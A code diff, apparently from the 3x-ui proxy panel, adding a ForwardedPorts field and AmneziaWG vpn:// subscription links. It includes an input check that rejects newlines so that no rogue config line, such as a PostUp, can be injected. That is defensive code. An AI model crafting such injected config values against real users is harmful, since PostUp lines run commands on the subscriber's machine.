 	// Per-client traffic reset cycle, independent of the inbound's own (#5497).
 	TrafficReset    string `json:"trafficReset,omitempty" form:"trafficReset" validate:"omitempty,oneof=never hourly daily weekly monthly"`
 	TrafficReset    string `json:"trafficReset,omitempty" form:"trafficReset" validate:"omitempty,oneof=never hourly daily weekly monthly"`
 	TrafficResetDay int    `json:"trafficResetDay,omitempty" form:"trafficResetDay" validate:"omitempty,gte=1,lte=31"`
 	TrafficResetDay int    `json:"trafficResetDay,omitempty" form:"trafficResetDay" validate:"omitempty,gte=1,lte=31"`
@@ -918,6 +928,7 @@ type ClientRecord struct {
 	AllowedIPs      string `json:"allowedIPs" gorm:"column:wg_allowed_ips"`
 	AllowedIPs      string `json:"allowedIPs" gorm:"column:wg_allowed_ips"`
 	PreSharedKey    string `json:"preSharedKey" gorm:"column:wg_pre_shared_key"`
 	PreSharedKey    string `json:"preSharedKey" gorm:"column:wg_pre_shared_key"`
 	KeepAlive       int    `json:"keepAlive" gorm:"column:wg_keep_alive;default:0"`
 	KeepAlive       int    `json:"keepAlive" gorm:"column:wg_keep_alive;default:0"`
+	ForwardedPorts  string `json:"forwardedPorts" gorm:"column:wg_forwarded_ports"`
 	Secret          string `json:"secret" gorm:"column:secret"`
 	Secret          string `json:"secret" gorm:"column:secret"`
 	AdTag           string `json:"adTag" gorm:"column:ad_tag;default:''"`
 	AdTag           string `json:"adTag" gorm:"column:ad_tag;default:''"`
 	LimitIP         int    `json:"limitIp" gorm:"column:limit_ip"`
 	LimitIP         int    `json:"limitIp" gorm:"column:limit_ip"`
@@ -1126,13 +1137,14 @@ func (c *Client) ToRecord() *ClientRecord {
 		CreatedAt:       c.CreatedAt,
 		CreatedAt:       c.CreatedAt,
 		UpdatedAt:       c.UpdatedAt,
 		UpdatedAt:       c.UpdatedAt,
 
 
-		PrivateKey:   c.PrivateKey,
-		PublicKey:    c.PublicKey,
-		AllowedIPs:   strings.Join(c.AllowedIPs, ","),
-		PreSharedKey: c.PreSharedKey,
-		KeepAlive:    c.KeepAlive,
-		Secret:       c.Secret,
-		AdTag:        c.AdTag,
+		PrivateKey:     c.PrivateKey,
+		PublicKey:      c.PublicKey,
+		AllowedIPs:     strings.Join(c.AllowedIPs, ","),
+		PreSharedKey:   c.PreSharedKey,
+		KeepAlive:      c.KeepAlive,
+		ForwardedPorts: c.ForwardedPorts,
+		Secret:         c.Secret,
+		AdTag:          c.AdTag,
 	}
 	}
 	if c.Reverse != nil {
 	if c.Reverse != nil {
 		if b, err := json.Marshal(c.Reverse); err == nil {
 		if b, err := json.Marshal(c.Reverse); err == nil {
@@ -1183,13 +1195,14 @@ func (r *ClientRecord) ToClient() *Client {
 		CreatedAt:       r.CreatedAt,
 		CreatedAt:       r.CreatedAt,
 		UpdatedAt:       r.UpdatedAt,
 		UpdatedAt:       r.UpdatedAt,
 
 
-		PrivateKey:   r.PrivateKey,
-		PublicKey:    r.PublicKey,
-		AllowedIPs:   splitWireguardAllowedIPs(r.AllowedIPs),
-		PreSharedKey: r.PreSharedKey,
-		KeepAlive:    r.KeepAlive,
-		Secret:       r.Secret,
-		AdTag:        r.AdTag,
+		PrivateKey:     r.PrivateKey,
+		PublicKey:      r.PublicKey,
+		AllowedIPs:     splitWireguardAllowedIPs(r.AllowedIPs),
+		PreSharedKey:   r.PreSharedKey,
+		KeepAlive:      r.KeepAlive,
+		ForwardedPorts: r.ForwardedPorts,
+		Secret:         r.Secret,
+		AdTag:          r.AdTag,
 	}
 	}
 	if r.Reverse != "" {
 	if r.Reverse != "" {
 		var rev ClientReverse
 		var rev ClientReverse
@@ -1409,6 +1422,12 @@ func MergeClientRecord(existing *ClientRecord, incoming *ClientRecord) []ClientM
 			existing.KeepAlive = incoming.KeepAlive
 			existing.KeepAlive = incoming.KeepAlive
 		}
 		}
 	}
 	}
+	if existing.ForwardedPorts != incoming.ForwardedPorts && incoming.ForwardedPorts != "" {
+		if incomingNewer || existing.ForwardedPorts == "" {
+			keep("forwardedPorts", existing.ForwardedPorts, incoming.ForwardedPorts, incoming.ForwardedPorts)
+			existing.ForwardedPorts = incoming.ForwardedPorts
+		}
+	}
 	if existing.Comment != incoming.Comment && incoming.Comment != "" {
 	if existing.Comment != incoming.Comment && incoming.Comment != "" {
 		if incomingNewer || existing.Comment == "" {
 		if incomingNewer || existing.Comment == "" {
 			keep("comment", existing.Comment, incoming.Comment, incoming.Comment)
 			keep("comment", existing.Comment, incoming.Comment, incoming.Comment)

+ 4 - 2
internal/sub/json_service.go

@@ -694,7 +694,8 @@ func jsonMux(global, override string) string {
 func (s *SubJsonService) genVnext(inbound *model.Inbound, streamSettings json_util.RawMessage, client model.Client, mux string) json_util.RawMessage {
 func (s *SubJsonService) genVnext(inbound *model.Inbound, streamSettings json_util.RawMessage, client model.Client, mux string) json_util.RawMessage {
 	outbound := Outbound{
 	outbound := Outbound{
 		Protocol: string(inbound.Protocol),
 		Protocol: string(inbound.Protocol),
-		Tag:      "proxy"}
+		Tag:      "proxy",
+	}
 	if mux != "" {
 	if mux != "" {
 		outbound.Mux = json_util.RawMessage(mux)
 		outbound.Mux = json_util.RawMessage(mux)
 	}
 	}
@@ -797,7 +798,8 @@ func (s *SubJsonService) genServer(subReq *SubService, inbound *model.Inbound, s
 func (s *SubJsonService) genHy(inbound *model.Inbound, newStream map[string]any, client model.Client, mux string) json_util.RawMessage {
 func (s *SubJsonService) genHy(inbound *model.Inbound, newStream map[string]any, client model.Client, mux string) json_util.RawMessage {
 	outbound := Outbound{
 	outbound := Outbound{
 		Protocol: string(inbound.Protocol),
 		Protocol: string(inbound.Protocol),
-		Tag:      "proxy"}
+		Tag:      "proxy",
+	}
 
 
 	if mux != "" {
 	if mux != "" {
 		outbound.Mux = json_util.RawMessage(mux)
 		outbound.Mux = json_util.RawMessage(mux)

+ 134 - 1
internal/sub/service.go

@@ -18,6 +18,7 @@ import (
 	"github.com/gin-gonic/gin"
 	"github.com/gin-gonic/gin"
 	"github.com/goccy/go-json"
 	"github.com/goccy/go-json"
 
 
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
 	"github.com/mhsanaei/3x-ui/v3/internal/database"
 	"github.com/mhsanaei/3x-ui/v3/internal/database"
 	"github.com/mhsanaei/3x-ui/v3/internal/database/model"
 	"github.com/mhsanaei/3x-ui/v3/internal/database/model"
 	"github.com/mhsanaei/3x-ui/v3/internal/logger"
 	"github.com/mhsanaei/3x-ui/v3/internal/logger"
@@ -483,7 +484,7 @@ func (s *SubService) getInboundsBySubId(subId string) ([]*model.Inbound, error)
 		JOIN client_inbounds ON client_inbounds.inbound_id = inbounds.id
 		JOIN client_inbounds ON client_inbounds.inbound_id = inbounds.id
 		JOIN clients ON clients.id = client_inbounds.client_id
 		JOIN clients ON clients.id = client_inbounds.client_id
 		WHERE
 		WHERE
-			inbounds.protocol in ('vmess','vless','trojan','shadowsocks','hysteria','wireguard','mtproto')
+			inbounds.protocol in ('vmess','vless','trojan','shadowsocks','hysteria','wireguard','amneziawg','mtproto')
 			AND clients.sub_id = ? AND inbounds.enable = ?
 			AND clients.sub_id = ? AND inbounds.enable = ?
 	)`, subId, true).Order("sub_sort_index ASC").Order("id ASC").Find(&inbounds).Error
 	)`, subId, true).Order("sub_sort_index ASC").Order("id ASC").Find(&inbounds).Error
 	if err != nil {
 	if err != nil {
@@ -634,6 +635,8 @@ func (s *SubService) GetLink(inbound *model.Inbound, email string) string {
 		return s.genMtprotoLink(inbound, email)
 		return s.genMtprotoLink(inbound, email)
 	case "wireguard":
 	case "wireguard":
 		return s.genWireguardLink(inbound, email)
 		return s.genWireguardLink(inbound, email)
+	case "amneziawg":
+		return s.genAmneziaWGLink(inbound, email)
 	}
 	}
 	return ""
 	return ""
 }
 }
@@ -680,6 +683,136 @@ func (s *SubService) genWireguardLink(inbound *model.Inbound, email string) stri
 	return buildLinkWithParams(link, params, s.genRemark(inbound, email, "", ""))
 	return buildLinkWithParams(link, params, s.genRemark(inbound, email, "", ""))
 }
 }
 
 
+// amneziaWGHeaderOrDefault mirrors the frontend's amneziaWGHLine: AmneziaWG's
+// H1-H4 magic-header fields always render into the config text, falling back
+// to their protocol-default values (1/2/3/4) when unset rather than being
+// omitted, since a native AmneziaWG client needs all four to be present.
+func amneziaWGHeaderOrDefault(value, fallback string) string {
+	if strings.TrimSpace(value) == "" {
+		return fallback
+	}
+	return value
+}
+
+// amneziaWGConfigText builds the same plain AmneziaWG client .conf text the
+// frontend's genAmneziaWGConfig produces (same field order, same optional-field
+// conditionals) -- this is the payload wrapped into vpn:// links below.
+func amneziaWGConfigText(server *amneziawg.ServerSettings, client *model.Client, host string, port int, remark string) string {
+	// These land unescaped in [Interface]; a newline here would inject a
+	// config line (e.g. a rogue PostUp) into the subscriber's .conf.
+	for _, v := range []string{client.PrivateKey, server.PrimaryDNS, server.SecondaryDNS, remark} {
+		if strings.ContainsAny(v, "\r\n") {
+			return ""
+		}
+	}
+
+	var b strings.Builder
+
+	b.WriteString("[Interface]\n")
+	fmt.Fprintf(&b, "PrivateKey = %s\n", client.PrivateKey)
+	fmt.Fprintf(&b, "Address = %s\n", strings.Join(client.AllowedIPs, ", "))
+
+	var dns []string
+	if server.PrimaryDNS != "" {
+		dns = append(dns, server.PrimaryDNS)
+	}
+	if server.SecondaryDNS != "" {
+		dns = append(dns, server.SecondaryDNS)
+	}
+	if len(dns) > 0 {
+		fmt.Fprintf(&b, "DNS = %s\n", strings.Join(dns, ", "))
+	}
+	if server.MTU > 0 {
+		fmt.Fprintf(&b, "MTU = %d\n", server.MTU)
+	}
+
+	fmt.Fprintf(&b, "Jc = %d\n", server.Jc)
+	fmt.Fprintf(&b, "Jmin = %d\n", server.Jmin)
+	fmt.Fprintf(&b, "Jmax = %d\n", server.Jmax)
+	fmt.Fprintf(&b, "S1 = %d\n", server.S1)
+	fmt.Fprintf(&b, "S2 = %d\n", server.S2)
+	if server.S3 > 0 {
+		fmt.Fprintf(&b, "S3 = %d\n", server.S3)
+	}
+	if server.S4 > 0 {
+		fmt.Fprintf(&b, "S4 = %d\n", server.S4)
+	}
+	fmt.Fprintf(&b, "H1 = %s\n", amneziaWGHeaderOrDefault(server.H1, "1"))
+	fmt.Fprintf(&b, "H2 = %s\n", amneziaWGHeaderOrDefault(server.H2, "2"))
+	fmt.Fprintf(&b, "H3 = %s\n", amneziaWGHeaderOrDefault(server.H3, "3"))
+	fmt.Fprintf(&b, "H4 = %s\n", amneziaWGHeaderOrDefault(server.H4, "4"))
+	for i, v := range []string{server.I1, server.I2, server.I3, server.I4, server.I5} {
+		if v != "" {
+			fmt.Fprintf(&b, "I%d = %s\n", i+1, v)
+		}
+	}
+	optional := []struct{ key, v string }{
+		{"HeaderProtectionKey", server.HeaderProtectionKey},
+		{"ContentPaddingAddition", server.ContentPaddingAddition},
+		{"RekeyAfterTime", server.RekeyAfterTime},
+		{"RekeyTimeout", server.RekeyTimeout},
+		{"RejectAfterTime", server.RejectAfterTime},
+		{"KeepaliveTimeout", server.KeepaliveTimeout},
+		{"MaxHandshakeAttempts", server.MaxHandshakeAttempts},
+	}
+	for _, p := range optional {
+		if p.v != "" {
+			fmt.Fprintf(&b, "%s = %s\n", p.key, p.v)
+		}
+	}
+	if server.RandomTrailers {
+		b.WriteString("RandomTrailers = on\n")
+	}
+	if server.DisableCookies {
+		b.WriteString("DisableCookies = on\n")
+	}
+
+	// Peer field order follows wg-quick(8) and the panel's other two AmneziaWG
+	// emitters (genAmneziaWGConfig, buildAmneziaWGClientConfig); all three are
+	// independent implementations, so any drift here is invisible until a user
+	// compares a subscription link against a downloaded .conf.
+	fmt.Fprintf(&b, "\n# %s\n", remark)
+	b.WriteString("[Peer]\n")
+	fmt.Fprintf(&b, "PublicKey = %s\n", server.PublicKey)
+	if client.PreSharedKey != "" {
+		fmt.Fprintf(&b, "PresharedKey = %s\n", client.PreSharedKey)
+	}
+	b.WriteString("AllowedIPs = 0.0.0.0/0, ::/0\n")
+	fmt.Fprintf(&b, "Endpoint = %s:%d", host, port)
+	if client.KeepAlive > 0 {
+		fmt.Fprintf(&b, "\nPersistentKeepalive = %d", client.KeepAlive)
+	}
+
+	return b.String()
+}
+
+// genAmneziaWGLink builds a per-client vpn://<base64url .conf text> share
+// link matching the real AmneziaVPN app's own share-link scheme (see the
+// frontend's genAmneziaWGLink for the confirmed import-path reasoning).
+// Returns "" when the client or server has no key.
+func (s *SubService) genAmneziaWGLink(inbound *model.Inbound, email string) string {
+	if inbound.Protocol != model.AmneziaWG {
+		return ""
+	}
+	var parsed amneziawg.InboundSettings
+	if err := json.Unmarshal([]byte(inbound.Settings), &parsed); err != nil || parsed.Server == nil {
+		return ""
+	}
+	server := parsed.Server
+
+	resolved, ok := s.clientForLink(inbound, email)
+	if !ok || resolved.PrivateKey == "" {
+		return ""
+	}
+	client := &resolved
+
+	text := amneziaWGConfigText(server, client, s.resolveInboundAddress(inbound), inbound.Port, s.genRemark(inbound, email, "", ""))
+	if text == "" {
+		return ""
+	}
+	return "vpn://" + base64.RawURLEncoding.EncodeToString([]byte(text))
+}
+
 // genMtprotoLink builds a per-client Telegram proxy deep link for an mtproto
 // genMtprotoLink builds a per-client Telegram proxy deep link for an mtproto
 // inbound: the server/port pair plus the client's own FakeTLS secret. The link
 // inbound: the server/port pair plus the client's own FakeTLS secret. The link
 // carries no remark fragment — Telegram proxy deep links have no name field, and
 // carries no remark fragment — Telegram proxy deep links have no name field, and

Alguns ficheiros não foram mostrados porque muitos ficheiros mudaram neste diff